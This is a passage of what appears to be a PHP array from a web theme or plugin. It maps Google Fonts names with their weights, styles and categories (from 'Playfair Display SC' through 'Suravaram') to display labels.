			'"Playfair Display SC", "regular:italic:700:700italic:900:900italic", serif'                                                                                                 => 'Playfair Display SC',
			'"Playpen Sans", "100:200:300:regular:500:600:700:800", handwriting'                                                                                                         => 'Playpen Sans',
			'"Playwrite AR", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite AR',
			'"Playwrite AT", "100:200:300:regular:100italic:200italic:300italic:italic", handwriting'                                                                                    => 'Playwrite AT',
			'"Playwrite AU NSW", "100:200:300:regular", handwriting'                                                                                                                     => 'Playwrite AU NSW',
			'"Playwrite AU QLD", "100:200:300:regular", handwriting'                                                                                                                     => 'Playwrite AU QLD',
			'"Playwrite AU SA", "100:200:300:regular", handwriting'                                                                                                                      => 'Playwrite AU SA',
			'"Playwrite AU TAS", "100:200:300:regular", handwriting'                                                                                                                     => 'Playwrite AU TAS',
			'"Playwrite AU VIC", "100:200:300:regular", handwriting'                                                                                                                     => 'Playwrite AU VIC',
			'"Playwrite BE VLG", "100:200:300:regular", handwriting'                                                                                                                     => 'Playwrite BE VLG',
			'"Playwrite BE WAL", "100:200:300:regular", handwriting'                                                                                                                     => 'Playwrite BE WAL',
			'"Playwrite BR", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite BR',
			'"Playwrite CA", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite CA',
			'"Playwrite CL", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite CL',
			'"Playwrite CO", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite CO',
			'"Playwrite CU", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite CU',
			'"Playwrite CZ", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite CZ',
			'"Playwrite DE Grund", "100:200:300:regular", handwriting'                                                                                                                   => 'Playwrite DE Grund',
			'"Playwrite DE LA", "100:200:300:regular", handwriting'                                                                                                                      => 'Playwrite DE LA',
			'"Playwrite DE SAS", "100:200:300:regular", handwriting'                                                                                                                     => 'Playwrite DE SAS',
			'"Playwrite DE VA", "100:200:300:regular", handwriting'                                                                                                                      => 'Playwrite DE VA',
			'"Playwrite DK Loopet", "100:200:300:regular", handwriting'                                                                                                                  => 'Playwrite DK Loopet',
			'"Playwrite DK Uloopet", "100:200:300:regular", handwriting'                                                                                                                 => 'Playwrite DK Uloopet',
			'"Playwrite ES", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite ES',
			'"Playwrite ES Deco", "100:200:300:regular", handwriting'                                                                                                                    => 'Playwrite ES Deco',
			'"Playwrite FR Moderne", "100:200:300:regular", handwriting'                                                                                                                 => 'Playwrite FR Moderne',
			'"Playwrite FR Trad", "100:200:300:regular", handwriting'                                                                                                                    => 'Playwrite FR Trad',
			'"Playwrite GB J", "100:200:300:regular:100italic:200italic:300italic:italic", handwriting'                                                                                  => 'Playwrite GB J',
			'"Playwrite GB S", "100:200:300:regular:100italic:200italic:300italic:italic", handwriting'                                                                                  => 'Playwrite GB S',
			'"Playwrite HR", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite HR',
			'"Playwrite HR Lijeva", "100:200:300:regular", handwriting'                                                                                                                  => 'Playwrite HR Lijeva',
			'"Playwrite HU", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite HU',
			'"Playwrite ID", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite ID',
			'"Playwrite IE", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite IE',
			'"Playwrite IN", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite IN',
			'"Playwrite IS", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite IS',
			'"Playwrite IT Moderna", "100:200:300:regular", handwriting'                                                                                                                 => 'Playwrite IT Moderna',
			'"Playwrite IT Trad", "100:200:300:regular", handwriting'                                                                                                                    => 'Playwrite IT Trad',
			'"Playwrite MX", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite MX',
			'"Playwrite NG Modern", "100:200:300:regular", handwriting'                                                                                                                  => 'Playwrite NG Modern',
			'"Playwrite NL", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite NL',
			'"Playwrite NO", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite NO',
			'"Playwrite NZ", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite NZ',
			'"Playwrite PE", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite PE',
			'"Playwrite PL", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite PL',
			'"Playwrite PT", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite PT',
			'"Playwrite RO", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite RO',
			'"Playwrite SK", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite SK',
			'"Playwrite TZ", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite TZ',
			'"Playwrite US Modern", "100:200:300:regular", handwriting'                                                                                                                  => 'Playwrite US Modern',
			'"Playwrite US Trad", "100:200:300:regular", handwriting'                                                                                                                    => 'Playwrite US Trad',
			'"Playwrite VN", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite VN',
			'"Playwrite ZA", "100:200:300:regular", handwriting'                                                                                                                         => 'Playwrite ZA',
			'"Plus Jakarta Sans", "200:300:regular:500:600:700:800:200italic:300italic:italic:500italic:600italic:700italic:800italic", sans-serif'                                      => 'Plus Jakarta Sans',
			'"Podkova", "regular:500:600:700:800", serif'                                                                                                                                => 'Podkova',
			'"Poetsen One", "regular", display'                                                                                                                                          => 'Poetsen One',
			'"Poiret One", "regular", display'                                                                                                                                           => 'Poiret One',
			'"Poller One", "regular", display'                                                                                                                                           => 'Poller One',
			'"Poltawski Nowy", "regular:500:600:700:italic:500italic:600italic:700italic", serif'                                                                                        => 'Poltawski Nowy',
			'"Poly", "regular:italic", serif'                                                                                                                                            => 'Poly',
			'"Pompiere", "regular", display'                                                                                                                                             => 'Pompiere',
			'"Pontano Sans", "300:regular:500:600:700", sans-serif'                                                                                                                      => 'Pontano Sans',
			'"Poor Story", "regular", display'                                                                                                                                           => 'Poor Story',
			'"Poppins", "100:100italic:200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic:800:800italic:900:900italic", sans-serif'                    => 'Poppins',
			'"Port Lligat Sans", "regular", sans-serif'                                                                                                                                  => 'Port Lligat Sans',
			'"Port Lligat Slab", "regular", serif'                                                                                                                                       => 'Port Lligat Slab',
			'"Potta One", "regular", display'                                                                                                                                            => 'Potta One',
			'"Pragati Narrow", "regular:700", sans-serif'                                                                                                                                => 'Pragati Narrow',
			'"Praise", "regular", handwriting'                                                                                                                                           => 'Praise',
			'"Prata", "regular", serif'                                                                                                                                                  => 'Prata',
			'"Preahvihear", "regular", sans-serif'                                                                                                                                       => 'Preahvihear',
			'"Press Start 2P", "regular", display'                                                                                                                                       => 'Press Start 2P',
			'"Pridi", "200:300:regular:500:600:700", serif'                                                                                                                              => 'Pridi',
			'"Princess Sofia", "regular", handwriting'                                                                                                                                   => 'Princess Sofia',
			'"Prociono", "regular", serif'                                                                                                                                               => 'Prociono',
			'"Prompt", "100:100italic:200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic:800:800italic:900:900italic", sans-serif'                     => 'Prompt',
			'"Prosto One", "regular", display'                                                                                                                                           => 'Prosto One',
			'"Protest Guerrilla", "regular", display'                                                                                                                                    => 'Protest Guerrilla',
			'"Protest Revolution", "regular", display'                                                                                                                                   => 'Protest Revolution',
			'"Protest Riot", "regular", display'                                                                                                                                         => 'Protest Riot',
			'"Protest Strike", "regular", display'                                                                                                                                       => 'Protest Strike',
			'"Proza Libre", "regular:italic:500:500italic:600:600italic:700:700italic:800:800italic", sans-serif'                                                                        => 'Proza Libre',
			'"Public Sans", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                => 'Public Sans',
			'"Puppies Play", "regular", handwriting'                                                                                                                                     => 'Puppies Play',
			'"Puritan", "regular:italic:700:700italic", sans-serif'                                                                                                                      => 'Puritan',
			'"Purple Purse", "regular", display'                                                                                                                                         => 'Purple Purse',
			'"Qahiri", "regular", sans-serif'                                                                                                                                            => 'Qahiri',
			'"Quando", "regular", serif'                                                                                                                                                 => 'Quando',
			'"Quantico", "regular:italic:700:700italic", sans-serif'                                                                                                                     => 'Quantico',
			'"Quattrocento", "regular:700", serif'                                                                                                                                       => 'Quattrocento',
			'"Quattrocento Sans", "regular:italic:700:700italic", sans-serif'                                                                                                            => 'Quattrocento Sans',
			'"Questrial", "regular", sans-serif'                                                                                                                                         => 'Questrial',
			'"Quicksand", "300:regular:500:600:700", sans-serif'                                                                                                                         => 'Quicksand',
			'"Quintessential", "regular", handwriting'                                                                                                                                   => 'Quintessential',
			'"Qwigley", "regular", handwriting'                                                                                                                                          => 'Qwigley',
			'"Qwitcher Grypen", "regular:700", handwriting'                                                                                                                              => 'Qwitcher Grypen',
			'"REM", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                        => 'REM',
			'"Racing Sans One", "regular", display'                                                                                                                                      => 'Racing Sans One',
			'"Radio Canada", "300:regular:500:600:700:300italic:italic:500italic:600italic:700italic", sans-serif'                                                                       => 'Radio Canada',
			'"Radio Canada Big", "regular:500:600:700:italic:500italic:600italic:700italic", sans-serif'                                                                                 => 'Radio Canada Big',
			'"Radley", "regular:italic", serif'                                                                                                                                          => 'Radley',
			'"Rajdhani", "300:regular:500:600:700", sans-serif'                                                                                                                          => 'Rajdhani',
			'"Rakkas", "regular", display'                                                                                                                                               => 'Rakkas',
			'"Raleway", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                    => 'Raleway',
			'"Raleway Dots", "regular", display'                                                                                                                                         => 'Raleway Dots',
			'"Ramabhadra", "regular", sans-serif'                                                                                                                                        => 'Ramabhadra',
			'"Ramaraja", "regular", serif'                                                                                                                                               => 'Ramaraja',
			'"Rambla", "regular:italic:700:700italic", sans-serif'                                                                                                                       => 'Rambla',
			'"Rammetto One", "regular", display'                                                                                                                                         => 'Rammetto One',
			'"Rampart One", "regular", display'                                                                                                                                          => 'Rampart One',
			'"Ranchers", "regular", display'                                                                                                                                             => 'Ranchers',
			'"Rancho", "regular", handwriting'                                                                                                                                           => 'Rancho',
			'"Ranga", "regular:700", display'                                                                                                                                            => 'Ranga',
			'"Rasa", "300:regular:500:600:700:300italic:italic:500italic:600italic:700italic", serif'                                                                                    => 'Rasa',
			'"Rationale", "regular", sans-serif'                                                                                                                                         => 'Rationale',
			'"Ravi Prakash", "regular", display'                                                                                                                                         => 'Ravi Prakash',
			'"Readex Pro", "200:300:regular:500:600:700", sans-serif'                                                                                                                    => 'Readex Pro',
			'"Recursive", "300:regular:500:600:700:800:900", sans-serif'                                                                                                                 => 'Recursive',
			'"Red Hat Display", "300:regular:500:600:700:800:900:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                                        => 'Red Hat Display',
			'"Red Hat Mono", "300:regular:500:600:700:300italic:italic:500italic:600italic:700italic", monospace'                                                                        => 'Red Hat Mono',
			'"Red Hat Text", "300:regular:500:600:700:300italic:italic:500italic:600italic:700italic", sans-serif'                                                                       => 'Red Hat Text',
			'"Red Rose", "300:regular:500:600:700", display'                                                                                                                             => 'Red Rose',
			'"Redacted", "regular", display'                                                                                                                                             => 'Redacted',
			'"Redacted Script", "300:regular:700", display'                                                                                                                              => 'Redacted Script',
			'"Reddit Mono", "200:300:regular:500:600:700:800:900", monospace'                                                                                                            => 'Reddit Mono',
			'"Reddit Sans", "200:300:regular:500:600:700:800:900:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                              => 'Reddit Sans',
			'"Reddit Sans Condensed", "200:300:regular:500:600:700:800:900", sans-serif'                                                                                                 => 'Reddit Sans Condensed',
			'"Redressed", "regular", handwriting'                                                                                                                                        => 'Redressed',
			'"Reem Kufi", "regular:500:600:700", sans-serif'                                                                                                                             => 'Reem Kufi',
			'"Reem Kufi Fun", "regular:500:600:700", sans-serif'                                                                                                                         => 'Reem Kufi Fun',
			'"Reem Kufi Ink", "regular", sans-serif'                                                                                                                                     => 'Reem Kufi Ink',
			'"Reenie Beanie", "regular", handwriting'                                                                                                                                    => 'Reenie Beanie',
			'"Reggae One", "regular", display'                                                                                                                                           => 'Reggae One',
			'"Rethink Sans", "regular:500:600:700:800:italic:500italic:600italic:700italic:800italic", sans-serif'                                                                       => 'Rethink Sans',
			'"Revalia", "regular", display'                                                                                                                                              => 'Revalia',
			'"Rhodium Libre", "regular", serif'                                                                                                                                          => 'Rhodium Libre',
			'"Ribeye", "regular", display'                                                                                                                                               => 'Ribeye',
			'"Ribeye Marrow", "regular", display'                                                                                                                                        => 'Ribeye Marrow',
			'"Righteous", "regular", display'                                                                                                                                            => 'Righteous',
			'"Risque", "regular", display'                                                                                                                                               => 'Risque',
			'"Road Rage", "regular", display'                                                                                                                                            => 'Road Rage',
			'"Roboto", "100:100italic:300:300italic:regular:italic:500:500italic:700:700italic:900:900italic", sans-serif'                                                               => 'Roboto',
			'"Roboto Condensed", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'           => 'Roboto Condensed',
			'"Roboto Flex", "regular", sans-serif'                                                                                                                                       => 'Roboto Flex',
			'"Roboto Mono", "100:200:300:regular:500:600:700:100italic:200italic:300italic:italic:500italic:600italic:700italic", monospace'                                             => 'Roboto Mono',
			'"Roboto Serif", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", serif'                    => 'Roboto Serif',
			'"Roboto Slab", "100:200:300:regular:500:600:700:800:900", serif'                                                                                                            => 'Roboto Slab',
			'"Rochester", "regular", handwriting'                                                                                                                                        => 'Rochester',
			'"Rock 3D", "regular", display'                                                                                                                                              => 'Rock 3D',
			'"Rock Salt", "regular", handwriting'                                                                                                                                        => 'Rock Salt',
			'"RocknRoll One", "regular", sans-serif'                                                                                                                                     => 'RocknRoll One',
			'"Rokkitt", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", serif'                         => 'Rokkitt',
			'"Romanesco", "regular", handwriting'                                                                                                                                        => 'Romanesco',
			'"Ropa Sans", "regular:italic", sans-serif'                                                                                                                                  => 'Ropa Sans',
			'"Rosario", "300:regular:500:600:700:300italic:italic:500italic:600italic:700italic", sans-serif'                                                                            => 'Rosario',
			'"Rosarivo", "regular:italic", serif'                                                                                                                                        => 'Rosarivo',
			'"Rouge Script", "regular", handwriting'                                                                                                                                     => 'Rouge Script',
			'"Rowdies", "300:regular:700", display'                                                                                                                                      => 'Rowdies',
			'"Rozha One", "regular", serif'                                                                                                                                              => 'Rozha One',
			'"Rubik", "300:regular:500:600:700:800:900:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                                                  => 'Rubik',
			'"Rubik 80s Fade", "regular", display'                                                                                                                                       => 'Rubik 80s Fade',
			'"Rubik Beastly", "regular", display'                                                                                                                                        => 'Rubik Beastly',
			'"Rubik Broken Fax", "regular", display'                                                                                                                                     => 'Rubik Broken Fax',
			'"Rubik Bubbles", "regular", display'                                                                                                                                        => 'Rubik Bubbles',
			'"Rubik Burned", "regular", display'                                                                                                                                         => 'Rubik Burned',
			'"Rubik Dirt", "regular", display'                                                                                                                                           => 'Rubik Dirt',
			'"Rubik Distressed", "regular", display'                                                                                                                                     => 'Rubik Distressed',
			'"Rubik Doodle Shadow", "regular", display'                                                                                                                                  => 'Rubik Doodle Shadow',
			'"Rubik Doodle Triangles", "regular", display'                                                                                                                               => 'Rubik Doodle Triangles',
			'"Rubik Gemstones", "regular", display'                                                                                                                                      => 'Rubik Gemstones',
			'"Rubik Glitch", "regular", display'                                                                                                                                         => 'Rubik Glitch',
			'"Rubik Glitch Pop", "regular", display'                                                                                                                                     => 'Rubik Glitch Pop',
			'"Rubik Iso", "regular", display'                                                                                                                                            => 'Rubik Iso',
			'"Rubik Lines", "regular", display'                                                                                                                                          => 'Rubik Lines',
			'"Rubik Maps", "regular", display'                                                                                                                                           => 'Rubik Maps',
			'"Rubik Marker Hatch", "regular", display'                                                                                                                                   => 'Rubik Marker Hatch',
			'"Rubik Maze", "regular", display'                                                                                                                                           => 'Rubik Maze',
			'"Rubik Microbe", "regular", display'                                                                                                                                        => 'Rubik Microbe',
			'"Rubik Mono One", "regular", sans-serif'                                                                                                                                    => 'Rubik Mono One',
			'"Rubik Moonrocks", "regular", display'                                                                                                                                      => 'Rubik Moonrocks',
			'"Rubik Pixels", "regular", display'                                                                                                                                         => 'Rubik Pixels',
			'"Rubik Puddles", "regular", display'                                                                                                                                        => 'Rubik Puddles',
			'"Rubik Scribble", "regular", display'                                                                                                                                       => 'Rubik Scribble',
			'"Rubik Spray Paint", "regular", display'                                                                                                                                    => 'Rubik Spray Paint',
			'"Rubik Storm", "regular", display'                                                                                                                                          => 'Rubik Storm',
			'"Rubik Vinyl", "regular", display'                                                                                                                                          => 'Rubik Vinyl',
			'"Rubik Wet Paint", "regular", display'                                                                                                                                      => 'Rubik Wet Paint',
			'"Ruda", "regular:500:600:700:800:900", sans-serif'                                                                                                                          => 'Ruda',
			'"Rufina", "regular:700", serif'                                                                                                                                             => 'Rufina',
			'"Ruge Boogie", "regular", handwriting'                                                                                                                                      => 'Ruge Boogie',
			'"Ruluko", "regular", sans-serif'                                                                                                                                            => 'Ruluko',
			'"Rum Raisin", "regular", sans-serif'                                                                                                                                        => 'Rum Raisin',
			'"Ruslan Display", "regular", display'                                                                                                                                       => 'Ruslan Display',
			'"Russo One", "regular", sans-serif'                                                                                                                                         => 'Russo One',
			'"Ruthie", "regular", handwriting'                                                                                                                                           => 'Ruthie',
			'"Ruwudu", "regular:500:600:700", serif'                                                                                                                                     => 'Ruwudu',
			'"Rye", "regular", display'                                                                                                                                                  => 'Rye',
			'"STIX Two Text", "regular:500:600:700:italic:500italic:600italic:700italic", serif'                                                                                         => 'STIX Two Text',
			'"Sacramento", "regular", handwriting'                                                                                                                                       => 'Sacramento',
			'"Sahitya", "regular:700", serif'                                                                                                                                            => 'Sahitya',
			'"Sail", "regular", display'                                                                                                                                                 => 'Sail',
			'"Saira", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                      => 'Saira',
			'"Saira Condensed", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                   => 'Saira Condensed',
			'"Saira Extra Condensed", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                             => 'Saira Extra Condensed',
			'"Saira Semi Condensed", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                              => 'Saira Semi Condensed',
			'"Saira Stencil One", "regular", display'                                                                                                                                    => 'Saira Stencil One',
			'"Salsa", "regular", display'                                                                                                                                                => 'Salsa',
			'"Sanchez", "regular:italic", serif'                                                                                                                                         => 'Sanchez',
			'"Sancreek", "regular", display'                                                                                                                                             => 'Sancreek',
			'"Sankofa Display", "regular", sans-serif'                                                                                                                                   => 'Sankofa Display',
			'"Sansita", "regular:italic:700:700italic:800:800italic:900:900italic", sans-serif'                                                                                          => 'Sansita',
			'"Sansita Swashed", "300:regular:500:600:700:800:900", display'                                                                                                              => 'Sansita Swashed',
			'"Sarabun", "100:100italic:200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic:800:800italic", sans-serif'                                  => 'Sarabun',
			'"Sarala", "regular:700", sans-serif'                                                                                                                                        => 'Sarala',
			'"Sarina", "regular", display'                                                                                                                                               => 'Sarina',
			'"Sarpanch", "regular:500:600:700:800:900", sans-serif'                                                                                                                      => 'Sarpanch',
			'"Sassy Frass", "regular", handwriting'                                                                                                                                      => 'Sassy Frass',
			'"Satisfy", "regular", handwriting'                                                                                                                                          => 'Satisfy',
			'"Sawarabi Gothic", "regular", sans-serif'                                                                                                                                   => 'Sawarabi Gothic',
			'"Sawarabi Mincho", "regular", serif'                                                                                                                                        => 'Sawarabi Mincho',
			'"Scada", "regular:italic:700:700italic", sans-serif'                                                                                                                        => 'Scada',
			'"Scheherazade New", "regular:500:600:700", serif'                                                                                                                           => 'Scheherazade New',
			'"Schibsted Grotesk", "regular:500:600:700:800:900:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                                                    => 'Schibsted Grotesk',
			'"Schoolbell", "regular", handwriting'                                                                                                                                       => 'Schoolbell',
			'"Scope One", "regular", serif'                                                                                                                                              => 'Scope One',
			'"Seaweed Script", "regular", display'                                                                                                                                       => 'Seaweed Script',
			'"Secular One", "regular", sans-serif'                                                                                                                                       => 'Secular One',
			'"Sedan", "regular:italic", serif'                                                                                                                                           => 'Sedan',
			'"Sedan SC", "regular", serif'                                                                                                                                               => 'Sedan SC',
			'"Sedgwick Ave", "regular", handwriting'                                                                                                                                     => 'Sedgwick Ave',
			'"Sedgwick Ave Display", "regular", handwriting'                                                                                                                             => 'Sedgwick Ave Display',
			'"Sen", "regular:500:600:700:800", sans-serif'                                                                                                                               => 'Sen',
			'"Send Flowers", "regular", handwriting'                                                                                                                                     => 'Send Flowers',
			'"Sevillana", "regular", display'                                                                                                                                            => 'Sevillana',
			'"Seymour One", "regular", sans-serif'                                                                                                                                       => 'Seymour One',
			'"Shadows Into Light", "regular", handwriting'                                                                                                                               => 'Shadows Into Light',
			'"Shadows Into Light Two", "regular", handwriting'                                                                                                                           => 'Shadows Into Light Two',
			'"Shalimar", "regular", handwriting'                                                                                                                                         => 'Shalimar',
			'"Shantell Sans", "300:regular:500:600:700:800:300italic:italic:500italic:600italic:700italic:800italic", display'                                                           => 'Shantell Sans',
			'"Shanti", "regular", sans-serif'                                                                                                                                            => 'Shanti',
			'"Share", "regular:italic:700:700italic", sans-serif'                                                                                                                        => 'Share',
			'"Share Tech", "regular", sans-serif'                                                                                                                                        => 'Share Tech',
			'"Share Tech Mono", "regular", monospace'                                                                                                                                    => 'Share Tech Mono',
			'"Shippori Antique", "regular", sans-serif'                                                                                                                                  => 'Shippori Antique',
			'"Shippori Antique B1", "regular", sans-serif'                                                                                                                               => 'Shippori Antique B1',
			'"Shippori Mincho", "regular:500:600:700:800", serif'                                                                                                                        => 'Shippori Mincho',
			'"Shippori Mincho B1", "regular:500:600:700:800", serif'                                                                                                                     => 'Shippori Mincho B1',
			'"Shizuru", "regular", display'                                                                                                                                              => 'Shizuru',
			'"Shojumaru", "regular", display'                                                                                                                                            => 'Shojumaru',
			'"Short Stack", "regular", handwriting'                                                                                                                                      => 'Short Stack',
			'"Shrikhand", "regular", display'                                                                                                                                            => 'Shrikhand',
			'"Siemreap", "regular", sans-serif'                                                                                                                                          => 'Siemreap',
			'"Sigmar", "regular", display'                                                                                                                                               => 'Sigmar',
			'"Sigmar One", "regular", display'                                                                                                                                           => 'Sigmar One',
			'"Signika", "300:regular:500:600:700", sans-serif'                                                                                                                           => 'Signika',
			'"Signika Negative", "300:regular:500:600:700", sans-serif'                                                                                                                  => 'Signika Negative',
			'"Silkscreen", "regular:700", display'                                                                                                                                       => 'Silkscreen',
			'"Simonetta", "regular:italic:900:900italic", display'                                                                                                                       => 'Simonetta',
			'"Single Day", "regular", display'                                                                                                                                           => 'Single Day',
			'"Sintony", "regular:700", sans-serif'                                                                                                                                       => 'Sintony',
			'"Sirin Stencil", "regular", display'                                                                                                                                        => 'Sirin Stencil',
			'"Six Caps", "regular", sans-serif'                                                                                                                                          => 'Six Caps',
			'"Sixtyfour", "regular", monospace'                                                                                                                                          => 'Sixtyfour',
			'"Skranji", "regular:700", display'                                                                                                                                          => 'Skranji',
			'"Slabo 13px", "regular", serif'                                                                                                                                             => 'Slabo 13px',
			'"Slabo 27px", "regular", serif'                                                                                                                                             => 'Slabo 27px',
			'"Slackey", "regular", display'                                                                                                                                              => 'Slackey',
			'"Slackside One", "regular", handwriting'                                                                                                                                    => 'Slackside One',
			'"Smokum", "regular", display'                                                                                                                                               => 'Smokum',
			'"Smooch", "regular", handwriting'                                                                                                                                           => 'Smooch',
			'"Smooch Sans", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                       => 'Smooch Sans',
			'"Smythe", "regular", display'                                                                                                                                               => 'Smythe',
			'"Sniglet", "regular:800", display'                                                                                                                                          => 'Sniglet',
			'"Snippet", "regular", sans-serif'                                                                                                                                           => 'Snippet',
			'"Snowburst One", "regular", display'                                                                                                                                        => 'Snowburst One',
			'"Sofadi One", "regular", display'                                                                                                                                           => 'Sofadi One',
			'"Sofia", "regular", handwriting'                                                                                                                                            => 'Sofia',
			'"Sofia Sans", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                 => 'Sofia Sans',
			'"Sofia Sans Condensed", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'       => 'Sofia Sans Condensed',
			'"Sofia Sans Extra Condensed", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif' => 'Sofia Sans Extra Condensed',
			'"Sofia Sans Semi Condensed", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'  => 'Sofia Sans Semi Condensed',
			'"Solitreo", "regular", handwriting'                                                                                                                                         => 'Solitreo',
			'"Solway", "300:regular:500:700:800", serif'                                                                                                                                 => 'Solway',
			'"Sometype Mono", "regular:500:600:700:italic:500italic:600italic:700italic", monospace'                                                                                     => 'Sometype Mono',
			'"Song Myung", "regular", serif'                                                                                                                                             => 'Song Myung',
			'"Sono", "200:300:regular:500:600:700:800", sans-serif'                                                                                                                      => 'Sono',
			'"Sonsie One", "regular", display'                                                                                                                                           => 'Sonsie One',
			'"Sora", "100:200:300:regular:500:600:700:800", sans-serif'                                                                                                                  => 'Sora',
			'"Sorts Mill Goudy", "regular:italic", serif'                                                                                                                                => 'Sorts Mill Goudy',
			'"Source Code Pro", "200:300:regular:500:600:700:800:900:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", monospace'                           => 'Source Code Pro',
			'"Source Sans 3", "200:300:regular:500:600:700:800:900:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                            => 'Source Sans 3',
			'"Source Serif 4", "200:300:regular:500:600:700:800:900:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", serif'                                => 'Source Serif 4',
			'"Space Grotesk", "300:regular:500:600:700", sans-serif'                                                                                                                     => 'Space Grotesk',
			'"Space Mono", "regular:italic:700:700italic", monospace'                                                                                                                    => 'Space Mono',
			'"Special Elite", "regular", display'                                                                                                                                        => 'Special Elite',
			'"Spectral", "200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic:800:800italic", serif'                                                    => 'Spectral',
			'"Spectral SC", "200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic:800:800italic", serif'                                                 => 'Spectral SC',
			'"Spicy Rice", "regular", display'                                                                                                                                           => 'Spicy Rice',
			'"Spinnaker", "regular", sans-serif'                                                                                                                                         => 'Spinnaker',
			'"Spirax", "regular", display'                                                                                                                                               => 'Spirax',
			'"Splash", "regular", handwriting'                                                                                                                                           => 'Splash',
			'"Spline Sans", "300:regular:500:600:700", sans-serif'                                                                                                                       => 'Spline Sans',
			'"Spline Sans Mono", "300:regular:500:600:700:300italic:italic:500italic:600italic:700italic", monospace'                                                                    => 'Spline Sans Mono',
			'"Squada One", "regular", display'                                                                                                                                           => 'Squada One',
			'"Square Peg", "regular", handwriting'                                                                                                                                       => 'Square Peg',
			'"Sree Krushnadevaraya", "regular", serif'                                                                                                                                   => 'Sree Krushnadevaraya',
			'"Sriracha", "regular", handwriting'                                                                                                                                         => 'Sriracha',
			'"Srisakdi", "regular:700", display'                                                                                                                                         => 'Srisakdi',
			'"Staatliches", "regular", display'                                                                                                                                          => 'Staatliches',
			'"Stalemate", "regular", handwriting'                                                                                                                                        => 'Stalemate',
			'"Stalinist One", "regular", display'                                                                                                                                        => 'Stalinist One',
			'"Stardos Stencil", "regular:700", display'                                                                                                                                  => 'Stardos Stencil',
			'"Stick", "regular", sans-serif'                                                                                                                                             => 'Stick',
			'"Stick No Bills", "200:300:regular:500:600:700:800", sans-serif'                                                                                                            => 'Stick No Bills',
			'"Stint Ultra Condensed", "regular", serif'                                                                                                                                  => 'Stint Ultra Condensed',
			'"Stint Ultra Expanded", "regular", serif'                                                                                                                                   => 'Stint Ultra Expanded',
			'"Stoke", "300:regular", serif'                                                                                                                                              => 'Stoke',
			'"Strait", "regular", sans-serif'                                                                                                                                            => 'Strait',
			'"Style Script", "regular", handwriting'                                                                                                                                     => 'Style Script',
			'"Stylish", "regular", sans-serif'                                                                                                                                           => 'Stylish',
			'"Sue Ellen Francisco", "regular", handwriting'                                                                                                                              => 'Sue Ellen Francisco',
			'"Suez One", "regular", serif'                                                                                                                                               => 'Suez One',
			'"Sulphur Point", "300:regular:700", sans-serif'                                                                                                                             => 'Sulphur Point',
			'"Sumana", "regular:700", serif'                                                                                                                                             => 'Sumana',
			'"Sunflower", "300:500:700", sans-serif'                                                                                                                                     => 'Sunflower',
			'"Sunshiney", "regular", handwriting'                                                                                                                                        => 'Sunshiney',
			'"Supermercado One", "regular", display'                                                                                                                                     => 'Supermercado One',
			'"Sura", "regular:700", serif'                                                                                                                                               => 'Sura',
			'"Suranna", "regular", serif'                                                                                                                                                => 'Suranna',
			'"Suravaram", "regular", serif'                                                                                                                                              => 'Suravaram',
